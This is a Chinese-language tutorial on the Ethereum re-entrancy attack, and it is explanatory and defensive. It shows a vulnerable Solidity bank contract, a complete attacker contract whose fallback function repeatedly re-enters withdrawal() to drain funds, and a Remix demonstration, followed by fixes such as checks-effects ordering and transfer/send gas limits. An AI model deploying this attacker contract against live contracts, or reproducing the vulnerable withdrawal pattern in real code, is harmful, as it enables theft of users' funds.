45fan.com - 路饭网

搜索: 您的位置主页 > 网络频道 > 阅读资讯:以太坊重入攻击(Re-Entrancy)示例及预防

以太坊重入攻击(Re-Entrancy)示例及预防

2019-03-26 17:07:00 来源:www.45fan.com 【

以太坊重入攻击(Re-Entrancy)示例及预防

重入攻击

以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅局限于外部账户,合约账户同样可以拥有Ether,并进行转账等操作。

向以太坊合约账户进行转账,发送Ether的时候,会执行合约账户对应合约代码的回调函数(fallback)。
一旦向被攻击者劫持的合约地址发起转账操作,迫使执行攻击合约的回调函数,回调函数中包含回调自身代码,将会导致代码执行“重新进入”合约。这种合约漏洞,被称为重入漏攻击Re-Entrancy。

示例代码

银行存定期的例子。
bank.sol

pragma solidity >=0.4.22 <0.6.0;
contract Bank {

  // 银行账户信息
  mapping(address => uint256) public usersinfo;
 
 // 用户存钱,保存到usersinfo
  function save() public payable returns (uint256){
    require(msg.value>0);
    usersinfo[msg.sender]=usersinfo[msg.sender]+ msg.value;
    return usersinfo[msg.sender];
  }
  
  // 显示账户余额
  function showBalance(address addr) public view returns(uint256){
    return usersinfo[addr];
  }
  
  // 显示总账户余额,测试使用
   function showTotalBalance() public view returns(uint256){
    return address(this).balance;
  }

  // 用户提现
  function withdrawal() public payable{
  // 判断是否到期,或者是否锁定等。
    // require(now>saveTime+10)
    uint amount = usersinfo[msg.sender];
    // 账户有钱才提现
    if(amount>0){
      msg.sender.call.value(amount)("");
      usersinfo[msg.sender]=0;
    }
  }
  
  function() external payable{} 
}

由于合约也是一个账户,我们可以使用 **合约到银行去开户存钱**hack.sol`

pragma solidity >=0.4.22 <0.6.0;
import "./bank.sol";

contract Hack {

// 银行实例
  Bank public bank;

  // 调用栈,次数过大会异常
  uint256 public stack=0;

  // 构造函数
  constructor(address payable _bankAddr) public payable{
    bank = Bank(_bankAddr);
  }
  
  // 到银行存钱
  function bankSave() public payable returns (uint256){
    return bank.save.value(1 ether)();
  }
  
  // 显示账户余额
  function showBalance()public view returns (uint256){
    return address(this).balance;
  }

  // 拿回自己合约的钱,当然这里可以加权限,onlyHacker,只有黑客可以提现
  function collectEther() public {
   msg.sender.transfer(address(this).balance);
  }

  // 到银行提现
  function withdrawal() public {
    bank.withdrawal();
  }
  
  // fallback函数,
  function() external payable{
    stack += 1;
    if(msg.sender.balance >=1 ether && stack < 200){
    // 如有有钱就提现
      bank.withdrawal();
    }
  }
}

详细流程

为了方便部署演示,这里使用remix编辑器,初始化5个账户,每个账户100eth
以太坊重入攻击(Re-Entrancy)示例及预防
使用账户1部署,得到合约地址,并存入银行10eth,并使用账户2、3、4分别存入10 eth。此时银行账户总额40eth
以太坊重入攻击(Re-Entrancy)示例及预防

部署攻击合约

使用账户5 作为黑客,拿到合约地址0x692…,作为参数部署自己的hack合约hack.sol


contract Hack {
// 银行实例
  Bank public bank;
  // 构造函数
  constructor(address payable _bankAddr) public payable{
    bank = Bank(_bankAddr);
  }
}

调用攻击方法

调用银行存钱 方法 存入2eth(其中1 eth到hack合约账户,1eth到达银行账户)

  // 存入银行
  function bankSave() public payable returns (uint256){
    return bank.save.value(1 ether)();
  }

此时银行账户总额41 eth

以太坊重入攻击(Re-Entrancy)示例及预防

重入攻击

withdrawal调用,账户5的余额变为140 eth。
以太坊重入攻击(Re-Entrancy)示例及预防

调用withdrawal 函数,进行银行提现,由于本账户为合约账户,当银行发送以太币的时候会自动调用 fallback函数。
在fallback中,又进行了银行的提现。导致重复提现,直至银行账户清。


// 提现
  function withdrawal() public {
    bank.withdrawal();
  }
  
  // fallback函数,
  function() external payable{
    stack += 1;
    if(msg.sender.balance >=1 ether && stack < 200){
    // 如有有钱就提现
      bank.withdrawal();
    }
  }

重入攻击避免

  • checks-effects模式,即检查兽先修改状态,后发起转账交易,如果失败则回滚状态,或者手动处理
bank.sol

  function withdrawal() public payable{
  
    uint amount = usersinfo[msg.sender];
    if(amount>0){
    // 清空账户信息,如果下次调用,amount=0,不会进入if
      usersinfo[msg.sender]=0;
      msg.sender.call.value(amount)("");
      // usersinfo[msg.sender]=0;
    }
  }

这里还有一个问题,就是如果提现失败(call.value),交易并不会回滚,此时usersinfo[msg.sender]已清空

修改2

  function withdrawal() public payable{
    uint amount = usersinfo[msg.sender];
    if(amount>0){
    // 清空账户信息,如果下次调用,amount=0,不会进入if
      usersinfo[msg.sender]=0;
      if (msg.sender.call.value(amount)("")== false){
       usersinfo[msg.sender]=amount;
       // emit 发送提现消息事件
      }
    }
  }
  • 使用send ,transfer 转账时只有2300个gas,不足以支撑第二次交易
  • 使用最近的solidity编译版本,新版本一般会过期非安全的函数及变量

其他安全防范

边界检测 溢出(使用安全 safemath库)
变量可见性
tx.originx等
https://blog.csdn.net/bondsui/article/details/88097119

send transfer call区别

  • address.transfer()
    throws on failure
    forwards 2,300 gas stipend (not adjustable), safe against reentrancy
    should be used in most cases as it’s the safest way to send ether // 仅转账,不处理失败时

  • address.send()
    returns false on failure // 不会抛出异常,如果失败返回错误
    forwards 2,300 gas stipend (not adjustable), safe against reentrancy // 2300 gas安全
    should be used in rare cases when you want to handle failure in the contract 如果需要处理失败时,如游戏开发中常用send

  • address.call.value().gas()()
    returns false on failure
    forwards all available gas (adjustable), not safe against reentrancy // 转发all gas,不安全
    should be used when you need to control how much gas to forward when sending ether or to call a function of another contract

注意:当send()调用消耗掉所有的gas时,它也不会抛出异常,只是返回false。


本文地址:http://www.45fan.com/a/question/99630.html
Tags: 攻击 重入 Re-Entrancy
编辑:路饭网
关于我们 | 联系我们 | 友情链接 | 网站地图 | Sitemap | App | 返回顶部